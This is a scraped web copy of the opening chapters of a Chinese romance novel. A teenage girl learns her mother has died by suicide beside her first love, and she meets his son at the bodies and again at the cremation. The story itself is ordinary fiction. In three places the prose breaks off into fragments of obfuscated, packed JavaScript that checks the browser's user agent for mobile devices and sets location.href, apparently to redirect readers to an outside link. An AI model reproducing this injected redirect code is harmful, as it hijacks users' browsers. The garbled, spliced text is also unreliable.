《流宿之恋》 1. 序幕 妈妈死了。 夏燃的第一反应是,听错了,应该是爸爸死了才对。 她把座机挂断,这时正好玻璃门外一道极亮的白光在嵌着鎏金边的浓云间闪过,无声无息,把屋里照成几瞬透明。寒意是一条蔽在山野里的蛇,沿着门底缝隙磨着牙齿悄然爬入,钻进她黑不见底的眼睛里。 哐当一声,一个住客抗着蛇皮袋推开玻璃门,墨绿色胶布鞋在白色四方瓷砖上留下一串油腻的泥脚印。门外日落昏黄,夜色将至。 “有房没,干净便宜些的。” 没人理他。 半扇玻璃门在他身后大幅度地收拢,不锈钢门把手挂着的彩色铃铛丁零零地脆响。门口正盛的台风趁机而入,灌进沼泽地潮水般的湿腥味。 住客略微愕然地看向前台十六七岁的小姑娘。 她呆坐在土黄色的条椅上一动不动,细眉杏眼,鼻尖微翘,白皙清秀,脸色却出奇得难看。风把她的黑直长发高高卷起,又凌乱抛下,像香港怀旧影片里的凄美少女鬼。 再往四周打量,旅店入口玄关处虽小但倒干净,白墙上没有一点黑印污渍。前台桌上摆着高二的几本教科书,一支圆珠笔夹在一本模拟卷的中间。两只白色摄像头扯着黑线悬在入门角落和走廊入口。一陶瓷坐莲观音端坐在高墙处迎门处,手捻细柳,眉目慈悲,微笑垂眸俯瞰众生。 住客盯着少女的脸,又问一遍:“有房没?” 夏燃呆滞地抬起头,说:“要几间,住几天,大床还是标房?” “就我一人,先住三天。” “还剩一特价大床房,我带你去看。” 夏燃带住客看了下房,男人眼神泄露满意,只是嘴上还嘟囔着贵。她在房间里压低声音说:“已经是特价房了,你若线下付现金我就再给你打个折。” 十分钟后,夏燃背着她的书包推开了玻璃门,走入低沉迷离的暮色中。 保洁阿嫂以为她是回家,对着她背影喊:“台风天呢,这大雨说落就落,几分钟路也得撑把伞啊——” 夏燃回过头。 蓝黄揉杂的晚霞被风吞没在城市的夜空里。她穿着一周前妈妈送的雪纺朱砂红泡泡袖连衣长裙,站在铅灰色的马路边,像刚刚过完生日派对的幸福少女,是这个世界最纤薄的一抹亮色。 只是,明的光快要灭了,暗的路灯亮起来。灯光下她面容苍白,神情茫然。 她看着店门口架子上为客人准备的一排长伞,拿起最底下一件米黄色的旧雨衣。 这是今年盛夏的最后一场台风,台风过后就是初秋,一场秋雨一场寒,等冬天到了,一年就又过去了。 天际间最后一丝光线也彻底消失了,她赶上了通往目的地最后一趟中巴车。 刚一入坐后排,高空又传来闷闷的一声巨响,震得车窗玻璃嗡嗡打颤。紧接着大雨噼里啪啦如注坠下,倾斜着砸在夏燃的面颊上,搅得她的双眸如暗夜一般,模糊一片。 在风里雨里雷声里,夏燃移上了车窗玻璃,书包摆在膝盖上,脑子里反复回荡一个念头:“听错了,妈妈不死,爸爸死。” 明城,南镇。 这是夏燃记忆中第二次来这里。 前几次来的时候,她大概还是襁褓里的婴儿或年幼无知的幼童。唯一有印象的一次,是她九岁那年的寒假。对镇上的所有记忆就是,狭窄古旧的青石板路,石板缝隙里冻成齑粉的青苔,灰的墙,黑的瓦,臭气熏天的土厕,土黄色的狗耷拉着尾巴成群结队走街串巷,白脏的野猪三三两两拱在巷角垃圾堆里嗷叫着觅食,空气里满是泥土和河水的冻腥味。 谈不上喜欢或者不喜欢,她匆匆住过一夜就离开了。明城汽车站到南镇有直达中巴车,一天若干趟,行程不过一个半小时,但妈妈后面就是不喜来。 即便这是妈妈出生长大的地方。 然而她却选择死在了这里。 警察没有告诉夏燃妈妈死亡的方式和原因。 跳下中巴车前,她穿戴好了雨衣。东南西北是冷箭一般粗细的雨,脚下的土地像天上的云障,黑压压得如同一句咒语。 天地之间仿佛只剩她一人。 暴雨令人和物都失了轮廓。 流浪的狗觅食的猪消失了,街巷路灯冰冷的白光拍打在风雨中,一条只够两辆车并排通行的小路看过去无限的深。所有店铺都关了门,一家叫天天杂货铺的门口竖着一根长长的水泥杆子,杆子上挂着一块深蓝色的铁皮牌子,上面标着两个白色黑体字:南镇。 夏燃在暴雨中艰难前行。她双手抱在胸前,手机攒在手心里,书包扛在背后,远远看过去像一个弓腰驼背的老人。 走了几分钟路,一辆摩托车红着眼咆哮着从她身边飞过,溅起一地的泥水。 她只扫过一眼便又立刻低下了头。风是迎面扑来的,这意味着雨也是迎面浇到她的脸上。豆大的水珠顺着她光裸的小腿不断下滑,白色回力学生鞋彻底淹没在积水中。 摩托车的声音越来越远了,世界又回归到暴雨声的肃静中。 她知道她在害怕,通体的寒冷,彻骨的颤栗。 但是她咬着牙,一步一步往前走。 又走了几分钟,总之顺着电话里警察的指令拐了一个弯后,夏燃在一条宽一点的马路边,模模糊糊分辨出了一个小小的镇上派出所。 简单的不能再简单的派出所里守着两个五十多岁的警察。见一米黄色身影推开门进来时,两个人默然地对视一眼。 造孽啊,竟又是一小孩。他们在心里叹。 夏燃整个人跟落汤鸡一样,不出几秒落脚处就积了一滩水。撩起雨帽时,她的长发聚拢在了脑后,额头上露出小小的美人尖。明明是素净纯洁的一张少女脸,眼眸却比这暴雨天的夜色还要黑,黑得甚至看不出一滴泪。 “你是她女儿?” “嗯。”她哆嗦着发出一个音。 “你自己一个人来的?坐中巴?”他们有点不敢相信。挂断电话时,女孩还在市区里。 “嗯。” “你爸电话我们还是没打通。”一警察隐瞒了她妈妈娘家人没来的事实,“你要么在这里等一下其他大人?” “不用管他。”她的声音听过去像块碎玻璃,“带我去。” “毕竟是……孩子,你还小。” 她努力张了张口,不知是因为浑身湿冷还是因为夜太黑,出来的声音是从嗓子眼里挤出来的,干痛的像张快要撕裂的人皮鼓。 “这么大雨我都来了,带我去。” 他们带她去的地方是一个名叫童凤的山村,她以前没有去过。 南镇是明城辖属县城里的一个普通小镇,靠近山区,下面分布六个大小不一的村庄。一个村庄一个姓,童风村的村民都姓陆。改革开放后三十年里能出去打工的都陆续出去了,村子里留下的都是老妪老翁和留守儿童,山上有大片无人居住的破败民居。 警车绕着崎岖的山路一点点往上挪。远视灯通向黑暗,雨刮器在暴风雨中疯一样来回刮。 后视镜里,夏燃坐在后排,身上裹着一军绿色毛毯,赤脚踩在座位上,膝盖收进毛毯里,卷着身子,侧脸望向窗外,像个紧绷易碎的木偶。脚下放着一双警察给的长筒雨胶鞋,跟她的鞋码相比,宽大的像只小船。 警察询问她问题,她一个字也没听见。 车窗玻璃被雨浇得模糊,她什么也看不清。 小心翼翼开了十七八分钟,终于到了一山道分叉处,路边好似有一大间砖木屋子,风啸雨吼中看不清模样,只依稀看见有一团剧烈的白光在空气中,心脏一样跳动。 “小姑娘,下车吧。”老警察抓着伞等在车外。她的雨衣在上车之前就脱了,山上不比城里,八月台风天的夜里也是寒的,让她裹着毛毯罢。 等了一会,她没下来。 车里警察停好车回眸看她,只见她整个人都在抖。脸上身体牙齿眼睛,簌簌得像被重锤了边角的钢化玻璃。 她在恐惧。 越是接近,越是恐惧。恐惧令她管不住表情。 警察看着心里也难受。再怎么故作坚强,都只不过是一个涉世未深的高一学生啊。 “还进去么?”

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126768|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 不想进去他们完全能够接受,毕竟按照道理,这本应该是大人们处理的事。 夏燃已经完全无法思考了,她只会发出一个音:“嗯。” 天空又闪过一道惊雷。 是怎么走进去的呢,她不记得了。她成了一个被牵线的木偶,站在漆黑一片的地狱里。警察叫她怎么走,她就怎么走。恍恍惚惚间,只知道自己到了门口。门是榆木做的,上面半插着一根粗大的门闩。瓦檐下趴着一辆摩托车,车子大约是黑色的,形状霸气威武,像只猎豹。 一片白光在黑暗里亮得刺眼。她僵硬着抬起头,看见发光的是两个瓦斯大灯泡,悬在两根重梁的中间。门推开的瞬间,灯泡在风里眼珠子一样地颤。 室内空间宽阔,平铺直叙长方一间,门窗紧闭,墙边好像还站着其他人,只是她什么都看不见了,什么都闻不到了。 她的眼睛里只剩下灯泡下靠灰墙边的一张木板床。 床上并排躺着两个人,一个男人,一个女人。他们衣着完整,面色发青僵硬,身上盖着一床红牡丹老粗布棉花被。 女人就是她的妈妈。 男人不是她的爸爸。 没有大人们想象中的惊恐尖叫,也没有伤心晕厥,夏燃只是死死攥着身上的毛毯,赤脚套着雨靴,伫立在门边,寂静得像一滩死水。过了一会,她像片影子一样走了过去,掀开了他们的被子。 没有人阻拦她。 被子下,他们手牵着手,紧紧的。 又不知道过了多久,隐隐约约间,她终于听见有人在跟她说话。 “是你妈妈吧?” 她听见自己的声音在说:“嗯。” “你最后一次见到她是什么时候?” “一周前。” “她离开一个礼拜,你们中间有联系吗?” “有。” “你知道她为什么离开吗?” “知道。” “为什么?” “要快乐。” “那她丈夫,也就是你爸爸知道她离开的事吗?” “不知道。” “老婆离开一个星期都不知道?” “他不在。” 问话人停顿了一下。 “那,你认识这个男人吗?” “认识。” “你知道他跟你妈妈之间的关系?” 她空白了片刻,艰难地咽了下口水,说:“知道。” 夏燃像个木头人一样一问一答。 她连自己刚刚说了什么都不记得了,只听见空旷屋梁下回荡着自己虚浮的声音。 这时耳边突然传来另一道不一样的声音。年轻,暗哑,像被大雨浇透哑了火的子弹,丢到了她的心上。她的目光已经涣散,大脑却突然被这个声音打了个响指,神经猛地一颤。 那个人说:“你叫什么?” 夏燃木然地循着声音偏过头,看见一个男人从墙角阴影中站了出来。 个子很高,身材健硕,肩宽腿长,穿一身黑色机车服,高领金属拉链抵住他的下巴。灯泡白光在他的脸上晃动,却看不清他的神色。身后影子黑沉沉地刻进背后的水泥墙,越拖越长。 他走到床边,沉默地盯着床上两人一会,伸出手,把翻开的被子一拉,重新为二人盖上。 她脑海里浮现出门口屋檐下歇着的那辆摩托车,和它在风雨中穿梭前行时发出的撕裂的咆哮声。 他回过头,近距离低头凝视她。她则一寸寸地抬起眸。 光从二人的头顶上空流泻下来,她看见了一张年轻英俊的脸。 寸头,发梢挂着雨滴,古铜色皮肤,眉骨硬朗,眉毛是未经修饰的浓黑,底下有一双微凹坚毅的单眼皮眼睛,瞳孔是沉静的深褐色,鼻梁高且挺直,轮廓分明,介于少年和男人之间。 那是夏燃第一次见到传说中的陆照也。 那年夏天,她十六岁,他十八岁。 她失去了她的妈妈,他失去了他的爸爸。 上苍以一种极端的吊诡的方式,把他们的命运从此绑在了一起。 2. 名字 夏燃第一次听见陆照也这个名字,是从电视上。 去年六月底,妈妈徐阿秀攒了点钱,又问银行借了点钱,在明城火车站对面的小巷深处低价盘下一家上了年纪的小旅馆。房间都在二楼,瘦长一条,左右加起来共十二间房。楼下入口玄关旁有一间空房,留作母女二人自用。 那个夏天,徐阿秀很快乐,夏燃也很快乐。 她每天都背着书包去帮妈妈干活。中考刚结束,肩上的学习担子可以短暂地轻两个月,她无比愉悦地在预习高中科目之空暇间帮妈妈忙活装修的事,即便徐阿秀总喊她回出租屋里休息。 师傅敲砖布电,夏燃就耳朵塞着棉花球把一地的碎渣瓷砖用扫帚推到角落里。师傅粉刷完墙壁,她就收拾掉报纸,拿小铲子趴在地上,把沾到地板上的腻子粉和涂料一点点铲干净。这中间她还经常在炙热的太阳底下跑进跑出,买水买盒饭,或者去两条街外的五金店里买临时缺的螺丝铆钉。 母女俩都这么想,自己多做一点,师傅就少做一点,就可以多节约一点工人的钱。 而夏燃想的更多。她想妈妈身体一直都不太好,她做的多一点,妈妈就可以轻松一些。 当旅馆粉刷完焕然一新后,徐阿秀淘来一匹二手液晶屏电视机挂在墙上,电信师傅统一过来调试频道。 时值黄昏,鹅蛋大的落日沉在巷子对面楼房的屋顶上。光透过门外香樟树的缝隙,点缀着乳白色的墙。满屋摇曳桃红橘黄翡翠蔚蓝的鎏金光斑,像一汪海洋晃动闪烁的金币。 电视机一个个亮起来,陆照也的身影浮现在这澎拜的金光间。 女记者举着话筒报道:“我们的少年英雄找到了!他叫陆照也,今年十七岁,明城江凌县南镇人,就读于江口高中……那天他刚放暑假,路过集市边……” 镜头切换,视角从高空俯瞰,色彩略灰,应是路边电线杆上摄像头记录的画面回放。 乡镇的集市上,一名四十岁左右打马赛克的中年男人突然在人群中发疯,夺过猪肉铺上的屠刀,挥舞着砍向赶集人和铺主们。多人闪避不及被砍伤,潮水般的厉声尖叫,隔着屏幕也能闻见现场的血腥和恐惧。 在所有人都循着本能保命、疯狂地朝画面外拥挤逃难时,一个人却突然闯入了镜头。他一身黑色,闪电般的奔跑速度加一个踏步向前,高高跃起,对准那发疯男人的腹部就是凌厉狠绝的一脚。男人跌落地面,手上菜刀不松,起身就要反击。又见那黑色身影丝毫不惧,猛地往男人手腕上又是一脚猛踢。 带血的屠刀跌落地上,锋利刀刃划过黑色身影的小腿。 随后画面就是,黑色身影跟那个发疯男人赤手空拳搏斗了起来。你来我往几个回合后,发疯男人的手腕被黑色身影从后擒住,背部被膝盖一顶,跪倒在了地上。周边有一乡人终于反应过来,颤颤巍巍上前,烫手般地捡起了地上带血的屠刀。紧接着一拥而上一堆男人,集体将这个精神分裂患者给制服了。 在大家忙着联系警察招呼疯子的过程中,那个黑色身影拍了拍身上的尘土,对夸奖他的一个老奶奶挥了挥手,挺直着脊背,跨上路边的摩托车,消失在了画面中。 电信师傅正要调试其他频道,夏燃阻止了他:“师傅等下,我想把这新闻看完。” 陆照也的脸清晰地出现在了女记者的话筒边。夕阳西下,他站在一望无际的金色稻田边上,黑色无袖背心,古铜色肌肤,露着少年精壮的胳膊,下巴微抬,大拇指挠了下额头,紧绷着脸,声音跟他的下颌线一样硬朗结实。 “没想那么多,看见有人在伤人就冲过去了。” “嗯,是划了一刀,流点血没事。” 又被女记者夸了一通后,他扬了扬下巴,不羁一笑。 徐阿秀站在夏燃身后夸了一句:“这男孩长得真是俊,这播出来不得迷倒一大批女孩啊。” 电信师傅瞟了夏燃一眼,打趣道:“这里不就有一个?” 夏燃一愣,心砰砰跳,没好意思看其他人,垂下眼眸,走出了房间。 金色稻田和红色晚霞在她眼前交相辉映,那道长长的夕阳背影,从电视屏幕里烧出来,绯红了少女的脸。 第二次听见陆照也的名字,是三天后,徐阿秀和陆刚二十年后重遇的那日。 那天下午徐阿秀进了一批床垫,运送床垫的人正是陆刚。 他们站在门外的香樟树下,一个淌着汗,一个湿着眼,二十几秒里没有一个人出声。 夏燃提着扫把站在玄关处,隔着玻璃门,目睹了这一幕。 徐阿秀抹了把眼睛,呢喃道:“多少年没见了,一起吃个饭吧。” 他们三人在徐阿秀的出租屋里一起吃了顿晚饭。酱萝卜、花生米、小炒肉、红烧杂鱼、野米炒蛋、鱼鳖烤肉……本来是徐阿秀要烧,到了后面,她只能打下手。陆刚人有点闷,一个劲地挥着铲子,光着膀子,逆光站在没有空调、狭窄厨房的落日余晖中。 夏燃透过自己卧室的门缝,看见两人的身影越挨越近。 吃饭时,她突然想起同学要问她借书,而书包落在了旅店里,扒拉了几大口就急急出了门。咚咚咚走下了楼梯,又踮着脚悄无声息地猫上了楼。 人站在门外,耳朵却贴着墙留在了屋里。 四十多岁的男人女人,刚见面的话题不是生活,就是孩子。 徐阿秀说自己生活的挺好,生了孩子头几年没法上班,等孩子上学了,去服装厂做过缝纫工,也去酒店当过前台运营。现在孩子刚考上市里高中,想着关键三年多陪陪孩子,也攒了点钱,就接了一小旅馆自己做。 陆刚说这么多年他一直在全国各地跑长途运输,前妻是路上认识的,孩子出生不久后就跟他离了婚,之后便没有再联系了。孩子奶奶前年干农活时摔了一跤没缓过来,撑了半年走了。想着家里老小要照顾,他就不再跑长途,送走老娘后就在市里接接单子拉拉货。 徐阿秀又说女儿是她贴心小棉袄,是她最好的闺蜜,母女俩有说不完的话。学习上从来不让她操心,总考班里前几名。这次旅店装修,女儿忙进忙出,周边邻居看到了没有一个不夸的。 陆刚则说他儿子小时候调皮的很,奶奶根本管不住,成天屁股后头跟一帮小屁孩,带他们上山掏鸟蛋下河抓泥鳅。上了初中后叛逆了一阵子,后面不知怎得脑子突然开了窍,初三时发了力考进了高中。再一年就要高考了,说以后想要当警察。 又笑,这孩子,上周还在集市上扮英雄了,只是什么话都不跟我说,还是电视台的人找上我我才知道。 夏燃本烦躁地杵在门口,听到这句话耳边突然长鸣一声,心脏猛跳,脑海里锣鼓喧天。 徐阿秀想起什么,问:“你儿叫啥名?” 陆刚说:“陆照也。花钱请乡里老先生取的名。” 再后来,每一次听见陆照也的名字,都是从徐阿秀的嘴巴里。 “高三真苦啊,陆伯伯儿子每天只睡五六个小时,脸都黄了。” “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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徐阿秀却只是嘴角强拧着笑,说自己最近肠胃不好没啥胃口而已。 夏燃眼睫毛低着,又吃了几口饭菜后,放下了筷子。 “妈。”她认真又决然地望着自己的母亲,又说一次,“一定能离成婚的,你相信我。” 徐阿秀的眼睛里突然流露出这样的目光:疼爱、怜惜、伤心、害怕、痛苦、恐惧、不舍。夏燃从未见过。这份情感太过汹涌,以至于徐阿秀立刻又闭上了眼睛,藏住了情感的闸口。只是下一秒,一行泪水沿着她的眼角,流到了嘴边。 “妈就是遗憾没能给你生个兄弟姐妹。”徐阿秀闭着眼睛颤抖着说,“陆照也是个好孩子,以后有机会就来往来往,多个哥挺好,可以互相照顾着。” 出租屋的灯光只亮了一盏,四周暗沉沉的。徐阿秀有点累了,回到卧室,侧着身子睡在不开灯的空床上。夏燃从她背后望过去,能看见玻璃窗上倒映出妈妈的倒影。徐阿秀对着朦胧胧的雨夜睁大了眼睛不甘心地看,长衣长袖遮不住骨瘦的四肢,像整片森林种在了城市阳台里,化作细瘦的一棵竹。 雨叫得越来越响,溅在青石板路和玻璃窗上噼里啪啦震耳欲聋。老破木屋旧窗挡不住台风的肆虐,眼珠子一样的灯泡在二人头上陈旧地晃动。床上的人静静悄悄,空气卷起腐烂阴霾的味道。 “我叫夏燃。”灰似的白光下她目光失焦,“你是谁?” 3. 安排 “陆照也。” 他们就这样交换了名字,在父母的遗体之前。 在一个八月盛夏,台风暴雨之夜。 离奇地像一幅电影画面,而他们是灵魂出窍的演员,扮演一个叫自己的人。 很后来的后来,当夏燃回想起这一幕,脑海里突然闪过一个念头。 妈妈,这就是你故意安排的见面方式么? 以死亡的名义宿命般地绑定。 如果不是台风要来,村里工作人员不会挨家挨户上门提醒,检查老人们是否关闭好了门窗,并核实防台沙包和急救包是否发放到位。如果不是村干部闻见了浓重的煤炭味,徐阿秀和陈刚的尸体不会当天就被发现。 “这雨要下一整夜,你们老待这也不成,回镇上先休息吧。等明天下午台风走了,你家亲戚们会过来一起帮你处理后事,行不?” 老警察这话,前一句对着夏燃和陆照也两个人说,后一句是只对陆照也说了。 一个镇的,陆照也算是现在镇上最出名的少年之一了。他们知道他家里没其他人,但叔伯姑姨老邻居们的都离的不算远,等台风一过,死者为大,他们应该能过来帮忙。 没人应答。 陆照也和夏燃并排站着,一个空着手仰头直勾勾盯着灰漆漆的木头屋梁,一个裹着毯垂眸长久凝视床上的女人。都面无表情,眼睛里空空荡荡。 天地之间唯有瀑布般的瓢泼大雨痛苦嚎叫。 警察又委婉提了醒。现在屋里没太大味,是因为暴雨来之前开窗通风散炭味了。现在门窗关着紧,人死后24-48小时里,尸体会开始散发味道。夏天天热,雨重潮湿,尸体腐化的速度会迅速加速,这要是闷着待一晚上,尸臭味可想而知。 还有一点他们没提,怕吓到孩子们。这一晚上还没熬过去,尸体就得生蛆了。他们哪能让俩十几岁的孩子亲眼看到爸妈眼睛里钻出白色蠕动的蛆? 陆照也缓缓低下头,咬肌把嘴唇绷成一条直线,凝视着床上的男人,和他身边从未见过的陌生女人。 他没出声,却听见旁边的女孩哑着声音说。 “我不走。” 夏燃眼眸黑的可怕,脸上一点儿生气也没有。她像是自言自语地又重复一遍:“我不走。” “小姑娘,我知道你现在很伤心,但这不是你这年纪的孩子长待的地方,得联系上大人让他们来处理。” “没大人。” 两个警察又对视一眼。看女孩这幅样子,真是应了那句话,家家户户都有难念的经。唯一庆幸的是,夏燃住城市里,这要是在乡下,不出一天,各种难听扭曲的谣言能把她从头到脚生吞了。 出轨、婚外情、情人、烧炭、自杀,哪个词说出来都足以让村口八卦王者们兴奋许多年。 夏燃的目光无声地从妈妈的头发慢慢看到眉眼,再从鼻子慢慢看到嘴巴,每一眼都是雏鸟的依恋。 徐阿秀走之前,特地给自己打扮了下。她描了眉,拍了腮红,涂了红唇,穿上了自己最好看的红色衣服,把头发梳得整整齐齐,体体面面地离开了人间。 以前妈妈从不打扮的。徐阿秀总是低眉顺眼地笑,说自己一中年女人花这钱干嘛,要打扮也该是小姑娘打扮。 在夏燃从小到大的记忆里,妈妈对自己都很节约。衣服大多数是自己做的,做一件可以穿上十几年。头发从来没烫过染过,也很少去理发店剪,长了就自己拿剪刀剪短一些。大夏天的,她为了省两元公交钱,可以冒着酷暑一个人从工作地点走回家。 但她对女儿总是舍得的。 她会跟人讨价还价买新鲜的鱼上锅蒸,说学习太累得补脑。买整块的牛肉和打八折的牛奶,让夏燃十六岁长到了一米六八。每年夏燃生日,她都给女儿做一件漂亮的衣服,说小姑娘就要趁年轻打扮得漂漂亮亮的。她会买不同款式的奶油蛋糕回家。夏燃许好愿吹灭蜡烛睁开眼睛的一刹那,总能看见妈妈亮晶晶的杏眼。 开小旅店的钱,就是这样对自己省和对女儿大方之间挤出来的。 一毛钱一元钱,年复一年地挤出来的。 但徐阿秀这一次细细地装扮了自己,牵着她初恋男人的手,用明朗炙热的色彩,亲手迎接四十年短暂人生的落幕时刻。 可她为什么不提前告诉自己呢? 雨浇得玻璃窗模糊不清,风嘶吼咆哮贴墙而过。夏燃的眼睛干涸得如同深冬的井,一滴眼泪都看不见。 “小姑娘!走吧!”老警察知道不能再这样下去了,“你得撑住!你现在浑身上下都湿了,不去洗个热水澡,着凉发烧了还怎么帮你妈妈处理后事?!” 夏燃茫然然地抬起眼睛。 她看不清任何人的脸了。每一张脸都是虚无的,模糊的,重叠的,晃动的,像无数只巨大的马蜂,在她的面前嗡嗡打转,把木屋里的浑浊空气搅拌成了融化的蜡油,烫得她耳鸣目眩。 连她自己都不知道,她的身子正欲往床上的妈妈一步步靠近。 只是脚刚刚抬起,她就碰到了床沿。 不知是应了警察的话,还是在冰雨湿夜里真的走了太久,她突然眼前一黑,死攥着毯子的手指松开,双腿无力绵软地弯曲。 天旋地转。 她并没有倒在床上,也没倒在地上。 她被人腾空抱起,掉入了一个同样冰冷但坚实有力的身躯里。 头顶上的黑梁和惨白的瓦斯灯泡不见了,枯破白雾玻璃上的雨箭不见了,床上僵硬的妈妈和她紧闭的眼睛不见了。 什么都不见了,连风雨声都消失了。 电影屏幕突然黑了屏,白噪光砰一下弹灭了,只听见屏幕里演员最后一刻的心跳声如鲸鱼跃出大海,在铺满繁星的深海夜空里,噗通,噗通,噗通。 摧枯拉朽的,噗通,噗通,噗通。 待她睁开眼睛时,已是新的一日。 光从宾馆土黄色窗帘缝隙中间射出一条细长笔直的白线,垂直相交于她的床单之上。 夏燃身上还穿着妈妈做的雪纺朱砂红泡泡袖连衣长裙。裙子已经干透了,三分硬地包裹住她的身体。雨靴和她的回力学生鞋放在地上,墙边藤椅上放着她的书包和军绿色毛毯。床头柜上放着两瓶矿泉水,和镇上小店常卖的罐装八宝粥和巧克力派。 小镇宾馆白墙的根部如藤蔓般生长着黑色霉斑,窗外的雨水不复昨夜狂烈,但依然潺潺地从窗户缝隙间丝丝流入。 夏燃直挺挺地坐了起来,盯着床头柜上的食物,脱掉裙子,起身去洗了个热水澡。 警察通过调马路边监控视频和手机信息记录、询问两家亲戚子女以及结合现场的遗书,事情真相清晰明了。 徐阿秀和陆刚是隔壁村人,年少时情投意合。徐家嫌陆刚自幼丧父家境贫困,将徐阿秀强行许配给夏许利换取高额彩礼。夏许利婚后辗转多个城市做城建工程,有钱时吃喝嫖赌花天酒地,对妻子重则拳脚交加,轻则不闻不问,导致妻子多次流产,直到婚后第五年才诞下独女夏燃。 两年前夏许利工程生意接连失败,为躲避债务神出鬼没。徐阿秀从不体检,发现自己肝癌时已是晚期彻底恶化。为了不拖累独女,也为了不受病痛折磨,特烧炭结束生命。 陆刚不舍爱人黄泉路上孤独一人,自愿陪爱人离去。 他留下一封遗书,上面注明所有个人财产均由陆照也一人继承。 而徐阿秀也留下了一封遗书,上面除了写明离去原因和对不起陆照也和夏燃外,就没有再留下只言片语。 至于为何选择陆家山里无人居住的老宅,推测原因是二人都不想影响他人,又或者只是想落叶归根。 夏天高温,尸体无法久放,既已调查清楚,就得送去火化。 清晨,大地犹睡未醒。远处青山在发白的天际褪去夜色的模样。 火葬场在南镇郊区,陆家远亲近邻自发来了许多人,男女老少,坐在火葬场外面等候区的椅子里,浩浩荡荡十几列,均身着黑色,神色有哀伤,有同情,也有悲愤。 陆照也坐在第一排正中央,黑衣黑裤,日光在他眉骨之下投下一片肃默的阴影。 离他们最远处的角落里,坐着一个看过去格格不入的人。 她一身纯白长裙,一领,裙摆过膝,腰间系一蝴蝶带,长发用一白色橡皮筋低低束在脑后, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126770|196112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 脸上没有任何表情。这条裙子是徐阿秀去年生日时为她缝制的,她说夏燃的衣服都是五颜六色,这次换个风格,纯净一些。 夏燃衣柜里从来没有黑色。 她抱着书包孤零零一个人坐着,不看手机,不看人,不说话,眼睛虚空地看着地上自己的黑色影子,鼻子和额头上渗着密密的细汗,她也不擦,任汗水蒸发流淌。 大概在所有村民的眼里,这起死亡事件是由徐阿秀主导的。徐家怕被挨骂,也怕办后事要出钱,没有来任何人。而夏许利依然电话换号,不知所踪。 火葬场的走廊屋檐下吊着一块黑色长方形电子牌,上面红色字样显示着推入火化者的姓名和年龄。徐阿秀和陆刚正在火化中。 在一堆七八九十的老人里,他们四十出头的年纪看过去是那么的突兀和显眼。 台风过后,残留的潮湿被日光瞬间蒸发,南镇的空气又回归到八月盛夏中旬的闷热。 热,会令人暴躁,也令人愤怒。 当陆刚的骨灰盒被陆照也抱出来时,人堆里有人开始呜咽着抽泣。虽然陆刚这二十年在村里时间不多,但这里的许多人是看着他从小长大的,知道陆刚木讷老实,是个好人。 夏燃背起书包,双手捧起徐阿秀的骨灰盒,面对焚尸炉,背对着哭声,如木桩般一动不动。 这时突然有人发疯似地冲到夏燃的身后,猛地拍了她一肩膀。 “你妈害了大刚两次!第一次嫁给别人,害得他郁郁寡欢差点起不来!第二次直接把人给带走了!大刚才四十多!儿子都不要了!你妈自个儿有老公,怎么不管好自己!自己要死还要拉个垫背的?!” 夏燃木木然转过身去,看见一张模糊不清的脸。他的身上有浓重的酒气。 那个男人还在骂骂咧咧,突然被一个高大的身影挡住了脸。 “不要再说了!”这个声音跟他的身形一样强硬。 是陆照也。 他站到了夏燃的面前。两个人捧着重重的的骨灰盒,在嘈杂喧嚣之间四目相对。 那个男人的老婆赶紧冲了上来,跟另外几个村人把喝多乱语的男人给拖了下去。 夏燃算女生中高的了,而陆照也比她还高大半个头。他往她面前那么一杵,刚好替她挡住了眼前耀眼的红色晨光。 陆照低头看向夏燃。 这是他第一次仔仔细细地打量这个跟他卷入相同处境的女孩。 她有一张很干净很纯洁的脸,皮肤白皙如同雪水泡浸,细细的柳叶眉,葡萄般的杏眼,瞳孔很黑,眼睛黑白分明,鼻子小巧,鼻尖微翘,还有一个尖尖的下巴。 外人眼里她大概就是个弱不禁风不谙世事的少女,但陆照也觉得她不是。 她这个人跟她的外表看过去很不一样。她直到现在为止,一滴眼泪都没有流。 他身后有那么多人,而这个女孩竟要一个人送走妈妈。 她支离破碎但又强撑倔强的样子让他心里很不好受。明明她才是最可怜的一个人。 “对不起。”陆照也哑声道,“他喝多了胡说八道,你别往心里去。” 夏燃没出声。 她的目光扫过陆照也的眼眸,触电般立刻低下头,眼睛一眨不眨地盯着手中的骨灰盒。 这小小的盒子里面是妈妈啊。她是牵着那个男人的手走的。 一周前妈妈说她想去内蒙古旅游,她活了几十年,从来没有好好玩过。当时夏燃很开心,说妈妈你放心吧,反正现在放暑假,旅店里又有保洁阿嫂,你去玩好啦,一定要玩得开心呀! 夏燃这几年的生日愿望都是,妈妈,快乐。 她的眼前浮现出回出租房整理徐阿秀遗物时看见的那封手写信。 徐阿秀小时候书读得很少,大多数是夏燃上学后教的。她用夏燃教的一个字一个字认认真真歪歪扭扭地写了五大张的纸,也不知写了多久,中间停了几次。 余光里,陆照也黑色的体恤下隐见少年人并不单薄的肌肉。夏燃知道,这里面藏着一颗强大又温暖的心。 